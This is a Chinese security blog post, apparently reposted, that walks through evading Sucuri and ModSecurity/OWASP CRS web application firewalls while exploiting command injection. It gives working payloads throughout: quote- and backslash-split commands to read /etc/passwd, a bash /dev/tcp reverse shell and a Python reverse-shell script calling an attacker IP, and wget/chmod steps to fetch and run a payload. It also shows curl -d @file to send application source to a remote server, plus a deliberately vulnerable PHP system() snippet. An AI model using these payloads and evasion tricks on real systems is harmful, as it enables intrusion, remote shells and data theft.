WAF机制绕过bypass技术(二)

admin 2020年9月17日07:40:50评论319 views字数 4690阅读15分38秒阅读模式

WAF机制绕过bypass技术(二)


WAF机制及绕过方法总结:注入篇中,我们已经看到了如何使用通配符,绕过WAF规则。显然,还有很多其他方法可以绕过WAF规则集,但是,在近期的漏洞利用过程中,认为只有以上技巧是远远不够的,每次攻击都有其特定的规避技术。


例如:在SQL注入的payload内使用注释语法可以绕过许多过滤器。也就是说,不使用union+select,而是使用 /?id=1+un/**/ion+sel/**/ect+1,2,3-- 这类语法。

这是一项很棒的技术,当目标WAF允许星号*和连接字符时,就能够起作用。报告这应该仅适用于SQL注入,不能用于利用本地文件包含或远程命令执行。对于某些特定场景,对于需要保护Web应用程序免受远程命令执行攻击的WAF来说,这是一个“真正的噩梦”...这就是连接字符串。

连接

在许多编程语言中,字符串连接符是一种运算符。+(加号)经常被重载表示为字符串参数连接:"Hello, " + "World"相当于"Hello, World"。在其他语言中,有一个单独的运算符“.”能对字符串的隐式类型进行转换,也能进行连接,例如Perl、PHP与Lua等。

$ php -r 'echo "hello"." world"."n";'hello world$ python -c 'print "hello" + " world"'hello world

但如果你以为这就是连接字符串的唯一途径,那就大错特错了。

在一些语言中,例如C,C ++,Python以及可以在Bash中找到的脚本语言/语法,有一种叫做字符串文字连接的东西,这意味着相邻的字符串文字是连接的,不需要任何运算符,例如"Hello, " "World"相当于"Hello, World"。这不仅适用于printf和echo命令,而且适用于整个bash语法。

以下每个命令都具有相同的结果:

# echo test# echo 't'e's't# echo 'te'st# echo 'te'st''# echo 'te'''st''# python -c 'print "te" "st"'

WAF机制绕过bypass技术(二)

发生这种情况是因为所有相邻的字符串文字在Bash中是连接在一起,实际上'te's't'由三个字符串组成:字符串te,字符串s和字符串t。此语法可用于绕过基于“匹配短语” 的过滤器(或WAF规则)(例如,ModSecurity中的pm运算符

https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#pm

)。

SecRule ARGS "@pm passwd shadow groups"…ModSecurity中的规则将阻止包含passwd或shadow的所有请求。但是,如果我们将它们转换为pa'ss'wd或者sh'ad'ow呢?就像我们之前看到的SQL注入的语法一样,它使用注释拆分来查询,在这里我们也可以使用单引号'拆分文件名和系统命令,并创建连接字符串组。当然,可以使用连接字符串作为任何命令的参数,不仅仅是允许连接路径甚至执行Bash命令的时候才能使用。

以下命令的几个示例:

$ /bin/cat /etc/passwd$ /bin/cat /e'tc'/pa'ss'wd$ /bin/c'at' /e'tc'/pa'ss'wd$ /b'i'n/c'a't /e't'c/p'a's's'w'd'

WAF机制绕过bypass技术(二)WAF机制绕过bypass技术(二)

现在,假设已经在应用程序的url参数上发现了远程命令执行。如果有一条规则阻止像“etc、passwd、shadow”等这样的短语,你可以用这样的东西绕过它:

curl .../?url=;+cat+/e't'c/pa'ss'wd


开始测试下,我将使用以下PHP代码,以便像往常一样在Sucuri WAF和ModSecurity进行比较测试,使用的PHP代码是:

<?php   if ( isset($_GET['zzz']) ) {      system('curl -v '.$_GET['zzz']);   }

首先,我尝试使用这个PHP应用程序,以获得google.com的响应体,而无需编码参数的值:

curl -v 'http://test1.unicresit.it/?zzz=google.com'

它按预期工作了,google.com 返回302页面说我应该关注位置www.google.de(谷歌正确地将我在法兰克福的服务器地理定位):

WAF机制绕过bypass技术(二)

现在,为了利用这个易受攻击的应用程序,我可以做很多事情,其中一件事就是用分号;分隔并尝试执行其他系统命令。

当我尝试读取/etc/passwd文件时,Sucuri阻止了...例如:

curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'

由于以下原因被Sucuri WAF阻止:“An attempted RFI/LFI was detected and blocked”我认为(只是一个假设,因为用户看不到Sucuri WAF规则的细节)Sucuri“RFI/LFI检测”规则使用了我们之前见过的“匹配短语”之类的东西,如列表常见的路径和文件名/etc/passwd等。由于WAF设置的问题,我可以使用两个单引号绕过这个规则!

payload:curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"


WAF机制绕过bypass技术(二)

目前能读取passwd文件,但有一个问题是无法使用netcat,因为它没有安装在目标系统上。

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"/bin/ls$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"$

最简单的方法(几乎没有可以被WAF阻止的特殊字符)是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但遗憾的是太复杂而无法绕过所有检测此payload特征的规则集,这意味着使用某些PHP、Perl或Python代码来获取反弹shell会很困难。由于这个原因,Sucuri WAF阻止了我的尝试:Obfuscated attack payload detected。

可以尝试使用或上传Python反弹shell脚本到可写目录,而不是通过直接在易受攻击的参数上执行来获取shell。首先,准备python代码:使用curl或wget来下载python代码,vi shell.py

#!/usr/bin/pythonimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<my ip address>",2375));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

然后像往常一样使用python -c SimpleHTTPServer或php -S等开启公网可访问的Web服务器...然后从目标网站下载shell.py文件,我使用了以下语法:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

WAF机制绕过bypass技术(二)WAF机制绕过bypass技术(二)

Sucuri WAF没有阻止这个请求,但通常ModSecurity会阻止,如果你想确保绕过所有“匹配短语”规则类型,你可以使用wget + ip-to-long conversion + string连接:

.../?zzz=wg'e't 168431108 -P tmp.../?zzz=c'hm'od 777 -R tmp.../?zzz=/t'm'p/index.html

第一个命令用于wget下载shell文件到/tmp/目录。第二个使用chmod使其可执行,第三个是执行文件。正如你所看到的,wget命令请求特定的文件,所以下载的文件被命名为index.html。可以通过netcat的nc命令使用手工编写响应头和响应体来公开这个文件,如下所示:

WAF机制绕过bypass技术(二)

现在开始我的困难之旅。。。

Bypass ModSecurity and the OWASP Core规则集

可能你认为此payload可以绕过OWASP核心规则集,就像我们在之前文章[因为文章还未发布,审核可以在这里补充]中看到的那样... 但基本上不会成功。这是因为有两个叫做normalizePath和cmdLine的小东西。在ModSecurity中,它们被称为“转换函数”,用于在输入数据时进行匹配(例如,运算符执行)之前更改输入数据。输入数据永远不会被修改,因为ModSecurity将创建数据的副本,对其进行转换,然后针对结果运行运算符。

normalizePath:它从输入字符串中删除多个目录自引用和目录后引用(在开头时有输入除外)的斜杠,。

cmdLine:由Marc Stern开发,这个转换函数通过规范参数值并触发所有规则(如LFI,RCE,Unix命令等)来避免使用转义序列...例如/e't'c/pa'ss'wd不会转换为/etc/passwd。它做了以下很多事情:

1 删除所有反斜杠

2 删除所有双引号 "

3 删除所有单引号 '

4 删除所有插入符号 ^

5 在斜杠前删除空格 /

6 在打开括号之前删除空格 (

7 将所有逗号,和分号;替换为空格

8 将所有多个空格(包括制表符,换行符等)替换为一个空格

9 将所有字符转换为小写

由于cmdLine转换函数,所有使用连接字符串利用RCE的尝试都被规则932160阻止:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )""o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase""ruleId":"932160"

目前我无法读取/etc/passwd,但不要失望,OWASP核心规则集发现公共文件,路径和命令时会阻止它们,但它不能对目标应用程序的源代码执行相同的操作。我不能使用分号;字符(这意味着我不能破坏curl语法)但我可以使用curl的exfiltrate功能将文件发送到我的远程服务器。这将适用于从0到3的防护级别。

诀窍是通过POST HTTP请求将文件发送到远程服务器,curl可以使用data参数来执行此操作-d:

curl -d @/<file> <remote server>


以下的请求,已将@url编码为%40:

curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"

WAF机制绕过bypass技术(二)

如果目标的防护等级设置为4,则所有这些都不会起作用,因为payload包含连接字符,正斜杠等字符...好消息是在生产环境中很少发现防护等级是4。

反斜杠是新的单引号:)

同样的技术也可以使用反斜杠字符,反斜杠不是连接字符串,而只是一个转义序列:

WAF机制绕过bypass技术(二)




往期精彩


登陆页面的检测及渗透

渗透实战篇(一)

渗透测试信息收集的方法

常见Web中间件漏洞利用及修复方法

内网渗透 | 流量转发场景测试

Waf从入门到Bypass

实战渗透-看我如何拿下学校的大屏幕

技术篇:bulldog水平垂直越权+命令执行+提权

渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成


WAF机制绕过bypass技术(二)

感兴趣的可以点个关注!!!

WAF机制绕过bypass技术(二)

关注「安全先师」
把握前沿安全脉搏



  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月17日07:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WAF机制绕过bypass技术(二)http://cn-sec.com/archives/135080.html

发表评论

匿名网友 填写信息